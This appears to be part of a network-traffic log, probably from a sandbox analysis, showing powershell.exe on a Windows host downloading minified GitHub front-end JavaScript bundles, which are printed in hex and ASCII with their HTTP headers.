2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 29 3f 73 2e 41 72 72 6f 77 41 6c 6c 3a 73 2e 41 72 72 6f 77 56 65 72 74 69 63 61 6c 29 7c 73 2e 48 6f 6d 65 41 6e 64 45 6e 64 2c 4c 3d 6e 75 6c 6c 21 3d 3d 28 69 3d 6e 75 6c 6c 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 66 6f 63 75 73 4f 75 74 42 65 68 61 76 69 6f 72 29 26 26 76 6f 69 64 20 30 21 3d 3d 69 3f 69 3a 22 73 74 6f 70 22 2c 48 3d 6e 75 6c 6c 21 3d 3d 28 6f 3d 6e 75 6c 6c 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 66 6f 63 75 73 49 6e 53 74 72 61 74 65 67 79 29 26 26 76 6f 69 64 20 30 21 3d 3d 6f 3f 6f 3a 22 70 72 65 76 69 6f 75 73 22 2c 4f 3d 6e 75 6c 6c 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 61 63 74 69 76 65 44 65 73 63 65 6e 64 61 6e 74 43 6f 6e 74 72 6f 6c 2c 78 3d 6e 75 6c 6c 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 6f 6e 41 63 74 69 76 65 44 65 73 Data Ascii: )?s.ArrowAll:s.ArrowVertical)\|s.HomeAndEnd,L=null!==(i=null==e?void 0:e.focusOutBehavior)&&void 0!==i?i:"stop",H=null!==(o=null==e?void 0:e.focusInStrategy)&&void 0!==o?o:"previous",O=null==e?void 0:e.activeDescendantControl,x=null==e?void 0:e.onActiveDes
2024-09-30 13:50:18 UTC	440	IN	Data Raw: 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 29 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 2c 22 2d 31 22 29 3b 61 7c 7c 43 28 63 5b 30 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 28 2e 2e 2e 74 29 7b 66 6f 72 28 6c 65 74 20 65 20 6f 66 20 74 29 7b 6c 65 74 20 74 3d 63 2e 69 6e 64 65 78 4f 66 28 65 29 3b 74 3e 3d 30 26 26 63 2e 73 70 6c 69 63 65 28 74 2c 31 29 3b 6c 65 74 20 6e 3d 67 2e 67 65 74 28 65 29 3b 76 6f 69 64 20 30 21 3d 3d 6e 26 26 28 6e 75 6c 6c 3d 3d 3d 6e 3f 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 2c 6e 29 2c 67 2e 64 65 6c 65 74 65 28 65 29 29 2c 65 3d 3d 3d 61 26 26 Data Ascii: Attribute("tabindex")),t.setAttribute("tabindex","-1");a\|\|C(c[0])}}function S(...t){for(let e of t){let t=c.indexOf(e);t>=0&&c.splice(t,1);let n=g.get(e);void 0!==n&&(null===n?e.removeAttribute("tabindex"):e.setAttribute("tabindex",n),g.delete(e)),e===a&&
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 5b 30 5d 29 2c 6e 65 77 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 28 74 3d 3e 7b 66 6f 72 28 6c 65 74 20 65 20 6f 66 20 74 29 7b 66 6f 72 28 6c 65 74 20 74 20 6f 66 20 65 2e 72 65 6d 6f 76 65 64 4e 6f 64 65 73 29 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 26 26 53 28 2e 2e 2e 28 30 2c 75 2e 4b 31 29 28 74 29 29 3b 22 61 74 74 72 69 62 75 74 65 73 22 3d 3d 3d 65 2e 74 79 70 65 26 26 6e 75 6c 6c 3d 3d 3d 65 2e 6f 6c 64 56 61 6c 75 65 26 26 65 2e 74 61 72 67 65 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 26 26 53 28 65 2e 74 61 72 67 65 74 29 7d 66 6f 72 28 6c 65 74 20 65 20 6f 66 20 74 29 7b 66 6f 72 28 6c 65 74 20 74 20 6f 66 20 65 2e 61 64 64 65 64 4e 6f 64 65 73 29 74 20 69 6e 73 74 61 6e Data Ascii: [0]),new MutationObserver(t=>{for(let e of t){for(let t of e.removedNodes)t instanceof HTMLElement&&S(...(0,u.K1)(t));"attributes"===e.type&&null===e.oldValue&&e.target instanceof HTMLElement&&S(e.target)}for(let e of t){for(let t of e.addedNodes)t instan
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 74 29 29 7b 6c 65 74 20 74 3d 22 70 72 65 76 69 6f 75 73 22 3d 3d 3d 66 3f 63 2e 6c 65 6e 67 74 68 2d 31 3a 30 2c 65 3d 63 5b 74 5d 3b 6e 75 6c 6c 3d 3d 65 7c 7c 65 2e 66 6f 63 75 73 28 7b 70 72 65 76 65 6e 74 53 63 72 6f 6c 6c 3a 4d 7d 29 3b 72 65 74 75 72 6e 7d 43 28 65 2e 74 61 72 67 65 74 29 7d 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 48 29 7b 69 66 28 65 2e 72 65 6c 61 74 65 64 54 61 72 67 65 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 6c 65 6d 65 6e 74 26 26 21 74 2e 63 6f 6e 74 61 69 6e 73 28 65 2e 72 65 6c 61 74 65 64 54 61 72 67 65 74 29 29 7b 6c 65 74 20 74 3d 48 28 65 2e 72 65 6c 61 74 65 64 54 61 72 67 65 74 29 3b 69 66 28 28 74 3f 63 2e 69 6e 64 65 78 4f 66 28 74 29 3a 2d 31 29 3e 3d 30 26 26 74 20 69 6e Data Ascii: t)){let t="previous"===f?c.length-1:0,e=c[t];null==e\|\|e.focus({preventScroll:M});return}C(e.target)}else if("function"==typeof H){if(e.relatedTarget instanceof Element&&!t.contains(e.relatedTarget)){let t=H(e.relatedTarget);if((t?c.indexOf(t):-1)>=0&&t in

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49732	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:18 UTC	413	OUT	GET /assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-f690fd9ae3d5.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:18 UTC	694	IN	HTTP/1.1 200 OK Connection: close Content-Length: 9584 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Tue, 23 Jul 2024 20:26:53 GMT ETag: 0x8DCAB55CA2435F4 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 3572747 Date: Mon, 30 Sep 2024 13:50:18 GMT X-Served-By: cache-iad-kiad7000168-IAD, cache-ewr-kewr1740052-EWR X-Cache: HIT, HIT X-Cache-Hits: 732, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 267895fb2cfe49e009541c332d434c0b15a84b22
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 73 65 6c 65 63 74 6f 72 2d 6f 62 73 65 72 76 65 72 5f 64 69 73 74 5f 69 6e 64 65 78 5f 65 73 6d 5f 6a 73 22 5d 2c 7b 32 31 34 30 33 3a 28 65 2c 74 2c 72 29 3d 3e 7b 72 2e 64 28 74 2c 7b 6c 42 3a 28 29 3d 3e 46 7d 29 3b 76 61 72 20 6e 3d 72 28 36 39 38 36 29 2c 6f 3d 6e 75 6c 6c 2c 69 3d 6e 75 6c 6c 2c 73 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 76 61 72 20 72 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 76 61 72 20 65 3d 72 3b Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_selector-observer_dist_index_esm_js"],{21403:(e,t,r)=>{r.d(t,{lB:()=>F});var n=r(6986),o=null,i=null,s=[];function a(e,t){var r=[];function n(){var e=r;
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 73 68 28 65 2e 69 64 29 7d 7d 7d 28 73 2c 69 29 29 3a 6f 3d 3d 3d 79 3f 70 28 73 2c 69 29 3a 6f 3d 3d 3d 77 26 26 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 72 3d 68 2e 67 65 74 28 74 29 3b 69 66 28 72 29 7b 66 6f 72 28 76 61 72 20 6e 3d 72 2e 73 6c 69 63 65 28 30 29 2c 6f 3d 30 3b 6f 3c 6e 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5b 6f 5d 5d 3b 69 66 28 69 29 7b 76 61 72 20 73 3d 69 2e 65 6c 65 6d 65 6e 74 73 2e 69 6e 64 65 78 4f 66 28 74 29 3b 2d 31 21 3d 3d 73 26 26 69 2e 65 6c 65 6d 65 6e 74 73 2e 73 70 6c 69 63 65 28 73 2c 31 29 3b 76 61 72 20 61 3d 64 2e 67 65 74 28 74 29 2c 6c 3d 61 3f 61 5b 22 22 2b 69 2e 69 64 5d 3a 6e 75 6c 6c 3b 6c 26 26 6c 2e 72 65 6d 6f 76 65 26 26 6c 2e 72 65 6d 6f 76 65 2e 63 61 6c 6c 28 Data Ascii: sh(e.id)}}}(s,i)):o===y?p(s,i):o===w&&function(e,t){var r=h.get(t);if(r){for(var n=r.slice(0),o=0;o<n.length;o++){var i=e[n[o]];if(i){var s=i.elements.indexOf(t);-1!==s&&i.elements.splice(s,1);var a=d.get(t),l=a?a[""+i.id]:null;l&&l.remove&&l.remove.call(
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 69 5d 29 7d 69 66 28 22 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 22 69 6e 20 72 29 7b 76 61 72 20 73 3d 68 2e 67 65 74 28 72 29 3b 69 66 28 73 29 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 73 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 7b 76 61 72 20 6c 3d 65 2e 6f 62 73 65 72 76 65 72 73 5b 73 5b 61 5d 5d 3b 6c 26 26 21 65 2e 73 65 6c 65 63 74 6f 72 53 65 74 2e 6d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 28 72 2c 6c 2e 73 65 6c 65 63 74 6f 72 29 26 26 74 2e 70 75 73 68 28 5b 79 2c 72 2c 6c 5d 29 7d 7d 7d 76 61 72 20 41 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 Data Ascii: i])}if("querySelectorAll"in r){var s=h.get(r);if(s)for(var a=0;a<s.length;a++){var l=e.observers[s[a]];l&&!e.selectorSet.matchesSelector(r,l.selector)&&t.push([y,r,l])}}}var A="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 2a 22 29 2c 73 3d 30 3b 73 3c 69 2e 6c 65 6e 67 74 68 3b 73 2b 2b 29 74 2e 70 75 73 68 28 5b 77 2c 69 5b 73 5d 5d 29 7d 7d 7d 28 30 2c 74 2c 6f 2e 72 65 6d 6f 76 65 64 4e 6f 64 65 73 29 29 3a 22 61 74 74 72 69 62 75 74 65 73 22 3d 3d 3d 6f 2e 74 79 70 65 26 26 78 28 65 2c 74 2c 6f 2e 74 61 72 67 65 74 29 7d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 6e 75 6c 6c 3d 3d 3d 6d 29 7b 76 61 72 20 74 3d 65 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 2c 72 3d 65 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 2c 6e 3d 65 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 72 29 2c 72 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6e 29 2c 74 2e 74 65 78 74 43 6f 6e 74 65 6e 74 Data Ascii: *"),s=0;s<i.length;s++)t.push([w,i[s]])}}}(0,t,o.removedNodes)):"attributes"===o.type&&x(e,t,o.target)}(function(e){if(null===m){var t=e.createElement("div"),r=e.createElement("div"),n=e.createElement("div");t.appendChild(r),r.appendChild(n),t.textContent
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 61 72 20 74 3d 65 2e 65 6c 65 6d 65 6e 74 73 2c 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 70 28 65 2c 74 5b 72 5d 29 3b 74 68 69 73 2e 73 65 6c 65 63 74 6f 72 53 65 74 2e 72 65 6d 6f 76 65 28 65 2e 73 65 6c 65 63 74 6f 72 2c 65 29 2c 64 65 6c 65 74 65 20 74 68 69 73 2e 6f 62 73 65 72 76 65 72 73 5b 65 2e 69 64 5d 7d 2c 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 74 72 69 67 67 65 72 4f 62 73 65 72 76 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 5b 5d 3b 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 69 66 28 22 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 22 69 6e 20 72 29 7b 78 28 65 2c 74 2c 72 29 3b 66 6f 72 28 76 61 72 20 6e 3d 72 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2a 22 29 2c 6f 3d 30 3b 6f 3c Data Ascii: ar t=e.elements,r=0;r<t.length;r++)p(e,t[r]);this.selectorSet.remove(e.selector,e),delete this.observers[e.id]},k.prototype.triggerObservers=function(e){var t=[];(function(e,t,r){if("querySelectorAll"in r){x(e,t,r);for(var n=r.querySelectorAll("*"),o=0;o<
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 7d 7d 29 3b 76 61 72 20 63 3d 2f 5e 28 28 3f 3a 5b 5c 77 5c 75 30 30 63 30 2d 5c 75 46 46 46 46 5c 2d 5d 7c 5c 5c 2e 29 2b 29 2f 67 3b 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 64 65 78 65 73 2e 70 75 73 68 28 7b 6e 61 6d 65 3a 22 54 41 47 22 2c 73 65 6c 65 63 74 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 69 66 28 74 3d 65 2e 6d 61 74 63 68 28 63 29 29 72 65 74 75 72 6e 20 74 5b 30 5d 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 7d 2c 65 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 5b 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 5d 7d 7d 29 2c 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 64 65 78 65 73 2e 64 65 66 61 75 6c 74 3d 7b 6e 61 6d 65 3a 22 55 4e 49 56 45 52 53 41 4c 22 2c 73 Data Ascii: }});var c=/^((?:[\w\u00c0-\uFFFF\-]\|\\.)+)/g;n.prototype.indexes.push({name:"TAG",selector:function(e){var t;if(t=e.match(c))return t[0].toUpperCase()},element:function(e){return[e.nodeName.toUpperCase()]}}),n.prototype.indexes.default={name:"UNIVERSAL",s
2024-09-30 13:50:18 UTC	1316	IN	Data Raw: 61 29 29 2c 69 3d 3d 3d 74 68 69 73 2e 69 6e 64 65 78 65 73 2e 64 65 66 61 75 6c 74 26 26 74 68 69 73 2e 6c 6f 67 44 65 66 61 75 6c 74 49 6e 64 65 78 55 73 65 64 28 72 29 2c 28 6c 3d 61 2e 6d 61 70 2e 67 65 74 28 73 29 29 7c 7c 28 6c 3d 5b 5d 2c 61 2e 6d 61 70 2e 73 65 74 28 73 2c 6c 29 29 2c 6c 2e 70 75 73 68 28 72 29 3b 74 68 69 73 2e 73 69 7a 65 2b 2b 2c 68 2e 70 75 73 68 28 65 29 7d 7d 2c 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 2c 69 2c 73 2c 61 2c 6c 2c 63 2c 75 3d 74 68 69 73 2e 61 63 74 69 76 65 49 6e 64 65 78 65 73 2c 66 3d 7b 7d 2c 68 3d 31 3d 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 Data Ascii: a)),i===this.indexes.default&&this.logDefaultIndexUsed(r),(l=a.map.get(s))\|\|(l=[],a.map.set(s,l)),l.push(r);this.size++,h.push(e)}},n.prototype.remove=function(e,t){if("string"==typeof e){var r,n,o,i,s,a,l,c,u=this.activeIndexes,f={},h=1==arguments.length

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49735	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:18 UTC	413	OUT	GET /assets/vendors-node_modules_github_auto-complete-element_dist_index_js-a164c5ea9f62.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:18 UTC	694	IN	HTTP/1.1 200 OK Connection: close Content-Length: 14200 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Fri, 13 Sep 2024 14:50:55 GMT ETag: "0x8DCD403787FB10E" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 453089 Date: Mon, 30 Sep 2024 13:50:18 GMT X-Served-By: cache-iad-kiad7000070-IAD, cache-ewr-kewr1740076-EWR X-Cache: HIT, HIT X-Cache-Hits: 27, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: ee5ad87acad8d92898e962313e3a7b4efc938952
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 61 75 74 6f 2d 63 6f 6d 70 6c 65 74 65 2d 65 6c 65 6d 65 6e 74 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 22 5d 2c 7b 39 36 39 30 37 3a 28 74 2c 65 2c 69 29 3d 3e 7b 69 2e 64 28 65 2c 7b 41 79 3a 28 29 3d 3e 45 7d 29 3b 6c 65 74 20 43 6f 6d 62 6f 62 6f 78 3d 63 6c 61 73 73 20 43 6f 6d 62 6f 62 6f 78 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 74 2c 65 2c 7b 74 61 62 49 6e 73 65 72 74 73 53 75 67 67 65 73 74 69 6f 6e 73 3a 69 2c 64 65 66 61 75 6c 74 46 69 72 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_auto-complete-element_dist_index_js"],{96907:(t,e,i)=>{i.d(e,{Ay:()=>E});let Combobox=class Combobox{constructor(t,e,{tabInsertsSuggestions:i,defaultFir
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 69 61 2d 63 6f 6e 74 72 6f 6c 73 22 29 7c 7c 22 22 29 26 26 65 2e 63 6c 65 61 72 53 65 6c 65 63 74 69 6f 6e 28 29 7d 29 28 74 2c 74 68 69 73 29 2c 74 68 69 73 2e 69 6e 70 75 74 48 61 6e 64 6c 65 72 3d 74 68 69 73 2e 63 6c 65 61 72 53 65 6c 65 63 74 69 6f 6e 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 72 6f 6c 65 22 2c 22 63 6f 6d 62 6f 62 6f 78 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 63 6f 6e 74 72 6f 6c 73 22 2c 65 2e 69 64 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 65 78 70 61 6e 64 65 64 22 2c 22 66 61 6c 73 65 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 22 2c 22 6c 69 73 74 22 29 2c 74 2e 73 Data Ascii: ia-controls")\|\|"")&&e.clearSelection()})(t,this),this.inputHandler=this.clearSelection.bind(this),t.setAttribute("role","combobox"),t.setAttribute("aria-controls",e.id),t.setAttribute("aria-expanded","false"),t.setAttribute("aria-autocomplete","list"),t.s
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 20 74 3b 74 68 69 73 2e 64 65 66 61 75 6c 74 46 69 72 73 74 4f 70 74 69 6f 6e 26 26 28 6e 75 6c 6c 3d 3d 3d 28 74 3d 41 72 72 61 79 2e 66 72 6f 6d 28 74 68 69 73 2e 6c 69 73 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 5b 72 6f 6c 65 3d 22 6f 70 74 69 6f 6e 22 5d 3a 6e 6f 74 28 5b 61 72 69 61 2d 64 69 73 61 62 6c 65 64 3d 22 74 72 75 65 22 5d 29 27 29 29 2e 66 69 6c 74 65 72 28 6f 29 5b 30 5d 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 6f 6d 62 6f 62 6f 78 2d 6f 70 74 69 6f 6e 2d 64 65 66 61 75 6c 74 22 2c 22 74 72 75 65 22 29 29 7d 6e 61 76 69 67 61 74 65 28 74 3d 31 29 7b 6c 65 74 20 65 3d 41 72 72 61 79 2e 66 72 6f 6d 28 74 68 69 73 2e 6c 69 73 74 2e 71 75 65 72 79 53 65 Data Ascii: t;this.defaultFirstOption&&(null===(t=Array.from(this.list.querySelectorAll('[role="option"]:not([aria-disabled="true"])')).filter(o)[0])\|\|void 0===t\|\|t.setAttribute("data-combobox-option-default","true"))}navigate(t=1){let e=Array.from(this.list.querySe
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 73 65 6c 65 63 74 65 64 3d 22 74 72 75 65 22 5d 2c 20 5b 64 61 74 61 2d 63 6f 6d 62 6f 62 6f 78 2d 6f 70 74 69 6f 6e 2d 64 65 66 61 75 6c 74 3d 22 74 72 75 65 22 5d 27 29 3b 72 65 74 75 72 6e 21 21 69 26 26 28 22 74 72 75 65 22 3d 3d 3d 69 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 64 69 73 61 62 6c 65 64 22 29 7c 7c 28 69 2e 63 6c 69 63 6b 28 29 2c 21 30 29 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 74 29 7b 72 65 74 75 72 6e 21 74 2e 68 69 64 64 65 6e 26 26 21 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6e 70 75 74 45 6c 65 6d 65 6e 74 26 26 22 68 69 64 64 65 6e 22 3d 3d 3d 74 2e 74 79 70 65 29 26 26 28 74 2e 6f 66 66 73 65 74 57 69 64 74 68 3e 30 7c 7c 74 2e 6f 66 66 73 65 74 48 65 69 67 68 74 3e 30 29 7d 6c 65 74 20 72 3d 77 Data Ascii: selected="true"], [data-combobox-option-default="true"]');return!!i&&("true"===i.getAttribute("aria-disabled")\|\|(i.click(),!0))}function o(t){return!t.hidden&&!(t instanceof HTMLInputElement&&"hidden"===t.type)&&(t.offsetWidth>0\|\|t.offsetHeight>0)}let r=w
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 61 62 65 6c 22 2c 22 72 65 73 75 6c 74 73 22 29 2c 74 68 69 73 2e 69 6e 70 75 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 75 74 6f 63 6f 6d 70 6c 65 74 65 22 2c 22 6f 66 66 22 29 2c 74 68 69 73 2e 69 6e 70 75 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 70 65 6c 6c 63 68 65 63 6b 22 2c 22 66 61 6c 73 65 22 29 2c 74 68 69 73 2e 69 6e 74 65 72 61 63 74 69 6e 67 57 69 74 68 4c 69 73 74 3d 21 31 2c 74 68 69 73 2e 6f 6e 49 6e 70 75 74 43 68 61 6e 67 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 3d 30 29 7b 6c 65 74 20 69 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 2e 2e 2e 73 29 7b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 69 29 2c 69 3d 77 69 6e 64 6f 77 2e 73 65 74 54 69 6d 65 6f 75 74 28 28 29 3d 3e 7b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 69 Data Ascii: abel","results"),this.input.setAttribute("autocomplete","off"),this.input.setAttribute("spellcheck","false"),this.interactingWithList=!1,this.onInputChange=function(t,e=0){let i;return function(...s){clearTimeout(i),i=window.setTimeout(()=>{clearTimeout(i
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 68 69 73 2e 6f 6e 43 6f 6d 6d 69 74 29 7d 68 61 6e 64 6c 65 43 6c 65 61 72 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 22 74 72 75 65 22 3d 3d 3d 74 68 69 73 2e 69 6e 70 75 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 65 78 70 61 6e 64 65 64 22 29 26 26 28 74 68 69 73 2e 69 6e 70 75 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 65 78 70 61 6e 64 65 64 22 2c 22 66 61 6c 73 65 22 29 2c 74 68 69 73 2e 75 70 64 61 74 65 46 65 65 64 62 61 63 6b 46 6f 72 53 63 72 65 65 6e 52 65 61 64 65 72 73 28 22 52 65 73 75 6c 74 73 20 68 69 64 64 65 6e 2e 22 29 29 2c 74 68 69 73 2e 69 6e 70 75 74 2e 76 61 6c 75 65 3d 22 22 2c 74 68 69 73 2e 63 6f 6e 74 61 69 6e 65 72 2e 76 61 6c 75 65 3d 22 22 2c 74 68 69 73 2e 69 Data Ascii: his.onCommit)}handleClear(t){t.preventDefault(),"true"===this.input.getAttribute("aria-expanded")&&(this.input.setAttribute("aria-expanded","false"),this.updateFeedbackForScreenReaders("Results hidden.")),this.input.value="",this.container.value="",this.i
